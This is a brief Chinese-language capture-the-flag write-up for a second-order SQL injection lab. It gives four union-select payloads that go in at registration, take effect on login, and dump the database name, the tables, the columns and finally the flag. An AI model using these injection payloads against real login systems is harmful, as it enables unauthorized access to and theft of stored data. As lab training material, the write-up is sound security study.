有一个登录框和一个注册页面，题目也说这个是二次注入，那么就用二次注入的payload就行
1' union select database()# //爆库 1' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'# //爆表 1' union select group_concat(column_name) from information_schema.columns where table_name='flag'# //爆字段 1' union select flag from flag# //爆数据
先注册
再登录
这里就可以看到数据库被爆出来了，其他也是一样的，直到找出最终的flag
